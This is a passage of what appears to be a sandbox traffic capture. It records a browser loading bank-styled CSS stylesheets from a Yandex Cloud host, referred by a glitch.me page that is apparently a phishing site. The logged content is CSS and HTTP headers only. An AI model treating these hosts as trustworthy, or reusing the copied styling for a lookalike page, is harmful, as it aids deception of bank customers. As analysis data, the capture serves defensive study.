2024-05-27 22:44:22 UTC	16384	IN	Data Raw: 74 3a 20 6c 65 66 74 3b 0d 0a 20 20 20 20 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 71 75 69 63 6b 4c 69 6e 6b 73 20 4c 49 20 41 20 7b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 35 70 78 20 30 20 35 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 20 31 70 78 20 73 6f 6c 69 64 3b 0d 0a 7d 0d 0a 0d 0a 23 71 75 69 63 6b 4c 69 6e 6b 73 20 4c 49 2e 6c 61 73 74 20 41 20 7b 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 20 7d 0d 0a 0d 0a 2e 44 52 42 51 75 69 63 6b 4c 69 6e 6b 73 20 23 71 75 69 63 6b 4c 69 6e 6b 73 20 7b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2d 32 35 70 78 3b 20 7d 0d 0a 0d 0a 2e 4e 52 42 51 75 69 63 6b 4c 69 6e 6b 73 20 23 71 75 69 63 6b 4c 69 6e 6b 73 20 7b 20 6d 61 72 67 69 6e 2d 74 6f 70 Data Ascii: t: left; list-style: none;}#quickLinks LI A { padding: 0 5px 0 5px; border-right: 1px solid;}#quickLinks LI.last A { border: none; }.DRBQuickLinks #quickLinks { margin-top: -25px; }.NRBQuickLinks #quickLinks { margin-top
2024-05-27 22:44:22 UTC	16384	IN	Data Raw: 7b 0d 0a 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 74 61 62 63 6f 6e 74 61 69 6e 65 72 20 75 6c 2e 74 61 62 55 49 20 2e 61 63 74 69 76 65 20 73 70 61 6e 2e 6c 65 66 74 20 69 6d 67 20 7b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 70 78 3b 20 7d 0d 0a 0d 0a 75 6c 2e 74 61 62 55 49 20 7b 20 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 20 6e 6f 6e 65 3b 20 7d 0d 0a 0d 0a 2e 62 6f 78 5f 6c 69 35 62 6f 72 64 65 72 20 7b 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 20 7d 0d 0a 0d 0a 2e 62 6f 78 5f 74 6f 70 5f 6c 69 35 62 6f 72 64 65 72 20 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 35 34 32 70 78 3b 0d Data Ascii: { float: left; display: block; position: relative;}.tabcontainer ul.tabUI .active span.left img { margin-top: 2px; }ul.tabUI { list-style-type: none; }.box_li5border { clear: both; }.box_top_li5border { width: 542px;
2024-05-27 22:44:22 UTC	16384	IN	Data Raw: 6c 65 66 74 3a 20 31 30 70 78 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0d 0a 7d 0d 0a 0d 0a 2e 49 74 65 6d 54 61 62 6c 65 20 74 72 20 74 64 20 69 6d 67 20 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 34 70 78 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 30 3b 0d 0a 7d 0d 0a 0d 0a 2e 49 74 65 6d 54 61 62 6c 65 20 74 72 20 74 64 20 69 6d 67 2e 69 6d 67 42 75 74 74 6f 6e 20 7b 0d 0a 20 20 20 20 64 69 73 70 Data Ascii: left: 10px; color: #000000;}.ItemTable tr td img { display: none; display: none; width: 4px; padding-left: 0; padding-right: 0; margin-left: 0; margin-right: 0;}.ItemTable tr td img.imgButton { disp
2024-05-27 22:44:22 UTC	16384	IN	Data Raw: 65 6d 65 6e 74 2e 6f 66 66 73 65 74 48 65 69 67 68 74 29 20 2b 20 22 70 78 22 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 67 74 4c 6f 61 64 69 6e 67 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 20 7d 0d 0a 0d 0a 23 73 67 74 4c 6f 61 64 69 6e 67 20 69 6d 67 2c 20 23 73 67 74 4c 6f 61 64 69 6e 67 20 70 20 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0d 0a 7d 0d 0a 0d 0a 23 73 67 74 4c 6f 61 64 69 6e 67 20 69 6d 67 20 7b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 30 25 3b 20 7d 0d 0a 0d 0a 2f 2a 2a 2a 2a 2a 2a 2a 20 53 61 76 69 6e 67 73 20 47 6f 61 6c 20 54 72 61 63 6b 65 Data Ascii: ement.offsetHeight) + "px");}#sgtLoading { background-color: #ffffff; }#sgtLoading img, #sgtLoading p { display: block; text-align: center; margin: 0 auto;}#sgtLoading img { margin-top: 20%; }/******* Savings Goal Tracke
2024-05-27 22:44:22 UTC	16384	IN	Data Raw: 6f 75 6e 64 73 2f 52 62 73 67 54 6f 6f 6c 54 69 70 31 32 35 2e 70 6e 67 22 29 20 6e 6f 2d 72 65 70 65 61 74 20 74 6f 70 20 6c 65 66 74 3b 20 7d 0d 0a 0d 0a 2e 54 6f 6f 6c 54 69 70 5f 6c 61 72 67 65 20 7b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 22 62 61 63 6b 67 72 6f 75 6e 64 73 2f 52 62 73 67 54 6f 6f 6c 54 69 70 31 36 35 2e 70 6e 67 22 29 20 6e 6f 2d 72 65 70 65 61 74 20 74 6f 70 20 6c 65 66 74 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 35 70 78 3b 0d 0a 7d 0d 0a 0d 0a 64 69 76 2e 44 79 6e 61 6d 69 63 54 6f 6f 6c 54 69 70 20 73 70 61 6e 20 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 35 70 78 3b 0d 0a 20 20 20 20 70 61 64 Data Ascii: ounds/RbsgToolTip125.png") no-repeat top left; }.ToolTip_large { background: url("backgrounds/RbsgToolTip165.png") no-repeat top left; padding: 5px;}div.DynamicToolTip span { display: inline-block; margin-right: 5px; pad
2024-05-27 22:44:22 UTC	16384	IN	Data Raw: 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 70 78 20 35 70 78 20 33 70 78 20 31 30 70 78 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 32 35 25 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 30 3b 0d 0a 7d 0d 0a 0d 0a 64 69 76 20 61 2e 75 70 64 61 74 65 6c 69 6e 6b 20 7b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 70 78 20 32 35 70 78 20 31 70 78 20 31 30 70 78 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 35 30 70 78 3b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0d 0a 7d 0d 0a 0d 0a 64 69 76 20 61 2e 73 75 6d 6d 61 72 79 75 70 64 61 74 65 6c 69 6e 6b 20 7b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 70 78 20 32 35 70 78 20 31 70 78 20 32 35 70 78 3b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c Data Ascii: padding: 1px 5px 3px 10px; width: 25%; border-top: 0;}div a.updatelink { padding: 1px 25px 1px 10px; width: 50px; display: inline-block;}div a.summaryupdatelink { padding: 1px 25px 1px 25px; display: inl
2024-05-27 22:44:22 UTC	16384	IN	Data Raw: 0d 0a 2e 77 69 7a 61 72 64 5f 65 6e 72 6f 6c 6d 65 6e 74 20 2e 74 6f 70 48 65 61 64 65 72 57 72 61 70 70 65 72 20 7b 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 7d 0d 0a 0d 0a 2e 77 69 7a 61 72 64 5f 65 6e 72 6f 6c 6d 65 6e 74 20 2e 67 6c 6f 62 61 6c 42 6f 74 74 6f 6d 4e 61 76 57 72 61 70 70 65 72 20 7b 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 7d 0d 0a 0d 0a 2e 77 69 7a 61 72 64 5f 65 6e 72 6f 6c 6d 65 6e 74 20 2e 73 68 6f 77 4d 65 48 6f 77 57 72 61 70 70 65 72 20 7b 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 7d 0d 0a 0d 0a 2e 77 69 7a 61 72 64 5f 65 6e 72 6f 6c 6d 65 6e 74 20 23 68 65 61 64 65 72 20 7b 20 68 65 69 67 68 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0d 0a 0d 0a 2e 77 69 7a 61 72 64 5f 65 6e 72 6f 6c 6d 65 Data Ascii: .wizard_enrolment .topHeaderWrapper { display: none; }.wizard_enrolment .globalBottomNavWrapper { display: none; }.wizard_enrolment .showMeHowWrapper { display: none; }.wizard_enrolment #header { height: auto !important; }.wizard_enrolme
2024-05-27 22:44:22 UTC	16384	IN	Data Raw: 20 6c 69 2e 66 69 72 73 74 20 73 70 61 6e 20 7b 0d 0a 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 35 70 78 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 30 2e 32 35 72 65 6d 3b 0d 0a 7d 0d 0a 0d 0a 2e 44 6f 77 6e 6c 6f 61 64 46 72 61 6d 65 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 45 41 45 41 45 41 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0d 0a 0d 0a 2e 44 6f 77 6e 6c 6f 61 64 43 68 65 63 6b 42 6f 78 20 6c 69 20 73 70 61 6e 20 73 70 61 6e 20 6c 61 62 65 6c 20 7b 20 66 6c 6f 61 74 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0d 0a 0d 0a 2e 44 6f 77 6e 6c 6f 61 64 53 70 65 63 69 66 Data Ascii: li.first span { float: left; width: 100%; padding-bottom: 5px; padding-top: 0.25rem;}.DownloadFrame { background-color: #EAEAEA !important; }.DownloadCheckBox li span span label { float: none !important; }.DownloadSpecif
2024-05-27 22:44:22 UTC	16384	IN	Data Raw: 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 4e 48 6f 75 73 65 53 61 6e 73 2d 42 6f 6c 64 2c 20 56 65 72 64 61 6e 61 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 53 61 6e 2d 73 65 72 69 66 3b 0d 0a 7d 0d 0a 0d 0a 2e 74 6f 6f 6c 74 69 70 20 73 70 61 6e 2e 42 50 52 65 66 74 65 78 74 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 4e 48 6f 75 73 65 53 61 6e 73 2d 52 65 67 75 6c 61 72 2c 20 56 65 72 64 61 6e 61 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 53 61 6e 2d 73 65 72 69 66 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 31 3b 0d 0a 20 20 20 20 62 6f 74 74 6f 6d Data Ascii: font-family: RNHouseSans-Bold, Verdana, Helvetica, San-serif;}.tooltip span.BPReftext { font-family: RNHouseSans-Regular, Verdana, Helvetica, San-serif !important; visibility: hidden; position: absolute; z-index: 1; bottom

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49718	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:22 UTC	579	OUT	GET /master_mobile.css HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://plastic-fringe-pentagon.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:22 UTC	283	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:22 GMT Content-Type: text/css Content-Length: 48225 Connection: close Accept-Ranges: bytes Etag: "5cc6a870d1a1dd62dc2690ea17b7e3c4" Last-Modified: Mon, 04 Sep 2023 09:44:18 GMT X-Amz-Request-Id: 1066dc8c396e60fe
2024-05-27 22:44:22 UTC	16101	IN	Data Raw: 0d 0a 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 20 7b 0d 0a 0d 0a 0d 0a 0d 0a 2f 2a 20 0d 0a 54 68 69 73 20 69 73 20 74 68 65 20 6d 61 73 74 65 72 20 6d 6f 62 69 6c 65 20 73 74 79 6c 65 20 73 68 65 65 74 20 61 6e 64 20 73 68 6f 75 6c 64 20 62 65 20 75 73 65 64 20 77 68 65 6e 20 61 20 6d 6f 62 69 6c 65 20 62 72 6f 77 73 65 72 20 69 73 20 64 65 74 65 63 74 65 64 20 2d 20 69 74 20 69 73 20 6e 6f 74 20 62 72 61 6e 64 20 73 70 65 63 69 66 69 63 0d 0a 0d 0a 2a 2f 0d 0a 2f 2a 2a 2a 20 50 61 67 65 20 44 65 66 61 75 6c 74 20 53 74 79 6c 65 73 20 2a 2f 0d 0a 62 6f 64 79 20 0d 0a 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 20 20 20 20 20 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d Data Ascii: @media screen and (max-width: 768px) {/* This is the master mobile style sheet and should be used when a mobile browser is detected - it is not brand specific//** Page Default Styles */body { width: 100%; background-
2024-05-27 22:44:22 UTC	16384	IN	Data Raw: 65 6d 3b 0d 0a 7d 0d 0a 2e 77 69 7a 61 72 64 5f 70 61 67 65 20 2e 61 72 72 6f 77 65 64 48 65 61 64 69 6e 67 42 6f 72 64 65 72 42 61 63 6b 53 68 61 64 65 64 2c 20 2e 77 69 7a 61 72 64 5f 70 61 67 65 20 2e 68 65 61 64 69 6e 67 42 6f 72 64 65 72 42 61 63 6b 53 68 61 64 65 64 2c 20 2e 65 6e 72 6f 6c 6d 65 6e 74 5f 77 69 7a 61 72 64 20 2e 61 72 72 6f 77 65 64 48 65 61 64 69 6e 67 42 6f 72 64 65 72 42 61 63 6b 53 68 61 64 65 64 2c 20 2e 65 6e 72 6f 6c 6d 65 6e 74 5f 77 69 7a 61 72 64 20 2e 68 65 61 64 69 6e 67 42 6f 72 64 65 72 42 61 63 6b 53 68 61 64 65 64 2c 20 2e 74 77 6f 46 41 57 72 61 70 70 65 72 20 68 32 2c 20 2e 62 6f 78 5f 66 75 72 74 68 65 72 4f 70 74 69 6f 6e 73 20 68 33 2c 20 2e 72 65 64 69 72 65 63 74 5f 70 61 67 65 20 68 33 2c 0d 0a 2e 66 6f 72 63 Data Ascii: em;}.wizard_page .arrowedHeadingBorderBackShaded, .wizard_page .headingBorderBackShaded, .enrolment_wizard .arrowedHeadingBorderBackShaded, .enrolment_wizard .headingBorderBackShaded, .twoFAWrapper h2, .box_furtherOptions h3, .redirect_page h3,.forc
2024-05-27 22:44:22 UTC	15740	IN	Data Raw: 2e 50 61 79 6d 65 6e 74 73 53 74 79 6c 65 66 6f 72 42 75 74 6f 6e 20 69 6e 70 75 74 2e 62 75 74 74 6f 6e 2d 72 69 67 68 74 20 7b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0d 0a 2e 50 61 79 6d 65 6e 74 73 53 74 79 6c 65 66 6f 72 42 75 74 6f 6e 20 69 6e 70 75 74 2e 62 75 74 74 6f 6e 2d 6c 65 66 74 20 7b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2d 36 70 78 3b 20 7d 0d 0a 2e 50 61 79 6d 65 6e 74 73 53 74 79 6c 65 4e 61 76 69 67 61 74 69 6f 6e 20 69 6e 70 75 74 2e 62 75 74 74 6f 6e 2d 6c 65 66 74 20 7b 20 77 69 64 74 68 3a 20 31 39 36 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0d 0a 2e 72 65 62 72 61 6e 64 5f 50 54 31 33 4e 61 76 20 2e 66 6f 75 72 42 75 74 74 6f 6e 73 20 Data Ascii: .PaymentsStyleforButon input.button-right { width: 100%; margin-top: 0px !important; }.PaymentsStyleforButon input.button-left { margin-top: -6px; }.PaymentsStyleNavigation input.button-left { width: 196px !important; }.rebrand_PT13Nav .fourButtons

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49717	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:22 UTC	569	OUT	GET /npc.css HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://plastic-fringe-pentagon.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:22 UTC	283	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:22 GMT Content-Type: text/css Content-Length: 47326 Connection: close Accept-Ranges: bytes Etag: "d3f76cb5e9a68a590459b54b35e2ac59" Last-Modified: Mon, 04 Sep 2023 09:44:19 GMT X-Amz-Request-Id: e7230516deb5b929
2024-05-27 22:44:22 UTC	16101	IN	Data Raw: 2e 70 72 69 6d 61 72 79 43 6f 6c 6f 75 72 20 7b 20 63 6f 6c 6f 72 3a 20 23 34 32 31 34 35 66 3b 20 7d 0d 0a 2e 73 65 63 6f 6e 64 61 72 79 43 6f 6c 6f 72 20 7b 20 63 6f 6c 6f 72 3a 20 23 36 38 30 39 36 63 3b 20 7d 20 20 0d 0a 2e 70 72 6f 6d 6f 74 69 6f 6e 54 65 78 74 43 6f 6c 6f 75 72 7b 63 6f 6c 6f 72 3a 20 23 35 31 36 43 42 33 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 7d 20 20 20 20 20 20 20 20 20 0d 0a 2f 2a 2a 2a 20 50 61 67 65 20 44 65 66 61 75 6c 74 20 53 74 79 6c 65 73 20 2a 2f 0d 0a 0d 0a 2e 62 6f 78 5f 6f 75 72 50 72 6f 64 75 63 74 73 20 68 34 2c 20 2e 62 6f 78 5f 6f 75 72 50 72 6f 64 75 63 74 73 20 73 70 61 6e 20 7b 63 6f 6c 6f 72 3a 20 23 34 32 31 34 35 66 3b 7d 0d 0a 0d 0a 2f 2a 2a 2a 2a 2a 2a 2a 20 50 61 67 65 20 53 74 72 75 63 74 75 Data Ascii: .primaryColour { color: #42145f; }.secondaryColor { color: #68096c; } .promotionTextColour{color: #516CB3; font-size:24px;} /*** Page Default Styles /.box_ourProducts h4, .box_ourProducts span {color: #42145f;}/****** Page Structu
2024-05-27 22:44:22 UTC	16384	IN	Data Raw: 6f 6e 3a 38 70 78 20 35 30 25 3b 20 7d 0d 0a 2e 62 6f 78 5f 74 6f 70 5f 69 6e 6e 65 72 41 63 63 6f 75 6e 74 54 61 62 6c 65 5f 4d 75 6c 74 69 5f 64 74 6f 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 20 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 20 7d 0d 0a 2f 2a 2e 74 72 61 6e 48 65 61 64 65 72 43 65 6c 6c 5f 44 61 74 65 2c 20 2e 74 72 61 6e 54 61 62 6c 65 20 74 68 65 61 64 20 2e 44 61 74 65 2c 20 2e 74 72 61 6e 54 61 62 6c 65 20 74 68 65 61 64 20 2e 44 61 74 65 20 61 2c 20 2e 74 72 61 6e 54 61 62 6c 65 20 74 68 65 61 64 20 2e 57 72 61 70 2c 20 2e 74 72 61 6e 54 61 62 6c 65 20 74 68 65 61 64 20 2e 57 72 61 70 20 61 2c 20 2e 74 72 61 6e 54 61 62 6c 65 20 74 68 65 61 64 20 2e 43 75 Data Ascii: on:8px 50%; }.box_top_innerAccountTable_Multi_dto { background-position:0 0; background-repeat:no-repeat; }/*.tranHeaderCell_Date, .tranTable thead .Date, .tranTable thead .Date a, .tranTable thead .Wrap, .tranTable thead .Wrap a, .tranTable thead .Cu
2024-05-27 22:44:22 UTC	14841	IN	Data Raw: 6c 45 72 72 6f 72 50 6f 70 75 70 20 2e 71 74 4c 69 67 68 74 42 6f 78 43 6c 6f 73 65 20 69 6e 70 75 74 20 7b 20 77 69 64 74 68 3a 20 32 30 70 78 3b 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 7d 0d 0a 0d 0a 2e 6d 6f 64 61 6c 45 72 72 6f 72 50 6f 70 75 70 20 2e 49 53 41 4c 69 67 68 74 42 6f 78 48 65 61 64 65 72 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 32 31 34 35 66 3b 7d 0d 0a 2e 6d 6f 64 61 6c 45 72 72 6f 72 50 6f 70 75 70 20 2e 49 53 41 4c 69 67 68 74 42 6f 78 43 6f 6e 74 65 6e 74 2c 20 2e 6d 6f 64 61 6c 45 72 72 6f 72 50 6f 70 75 70 20 2e 62 6f 78 5f 49 53 41 4c 69 67 68 74 42 6f 78 57 72 61 70 70 65 72 2c 20 2e 49 73 61 4c 69 67 68 74 62 6f 78 50 6f 70 75 70 20 7b 20 62 61 63 6b Data Ascii: lErrorPopup .qtLightBoxClose input { width: 20px; cursor: pointer; border: none;}.modalErrorPopup .ISALightBoxHeader {background-color: #42145f;}.modalErrorPopup .ISALightBoxContent, .modalErrorPopup .box_ISALightBoxWrapper, .IsaLightboxPopup { back

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49719	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:22 UTC	585	OUT	GET /overlayPromptMaster.css HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://plastic-fringe-pentagon.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:22 UTC	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:22 GMT Content-Type: text/css Content-Length: 1378 Connection: close Accept-Ranges: bytes Etag: "1e4c183b3f098d3bca4ccce20c428912" Last-Modified: Mon, 04 Sep 2023 09:44:19 GMT X-Amz-Request-Id: 11644bbf1303de93
2024-05-27 22:44:22 UTC	1378	IN	Data Raw: 2e 54 4f 50 54 20 20 7b 20 77 69 64 74 68 3a 20 33 30 32 70 78 3b 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 20 6d 61 72 67 69 6e 3a 20 30 65 6d 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 20 7d 0d 0a 2e 54 4f 50 54 0d 0a 7b 0d 0a 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 62 6c 61 63 6b 3b 0d 0a 09 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 33 70 78 20 33 70 78 20 31 30 70 78 20 23 30 30 30 3b 20 2f 2a 20 46 69 72 65 66 6f 78 20 2a 2f 0d 0a 09 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 33 70 78 20 33 70 78 20 31 30 70 78 20 23 30 30 30 3b 20 2f 2a 20 53 61 66 61 72 69 20 61 6e 64 20 43 68 72 6f 6d 65 20 2a 2f 0d 0a 09 62 6f 78 2d 73 Data Ascii: .TOPT { width: 302px; padding: 10px; margin: 0em; position: relative; background: #ffffff; }.TOPT{border: 1px solid black;-moz-box-shadow: 3px 3px 10px #000; /* Firefox /-webkit-box-shadow: 3px 3px 10px #000; / Safari and Chrome */box-s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49715	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:22 UTC	579	OUT	GET /overlayPrompt.css HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://plastic-fringe-pentagon.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:22 UTC	280	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:22 GMT Content-Type: text/css Content-Length: 76 Connection: close Accept-Ranges: bytes Etag: "82a1b6373fa17d314053cb7173954338" Last-Modified: Mon, 04 Sep 2023 09:44:19 GMT X-Amz-Request-Id: d72389c567c4e161
2024-05-27 22:44:22 UTC	76	IN	Data Raw: 2e 54 4f 50 54 2c 20 2e 49 4f 50 54 20 7b 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 61 39 61 62 63 64 3b 20 7d 0d 0a 2e 54 4f 50 54 20 68 32 2e 68 32 46 6c 61 73 68 20 7b 20 63 6f 6c 6f 72 3a 20 23 31 46 31 45 36 31 3b 7d Data Ascii: .TOPT, .IOPT { border-color: #a9abcd; }.TOPT h2.h2Flash { color: #1F1E61;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49714	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
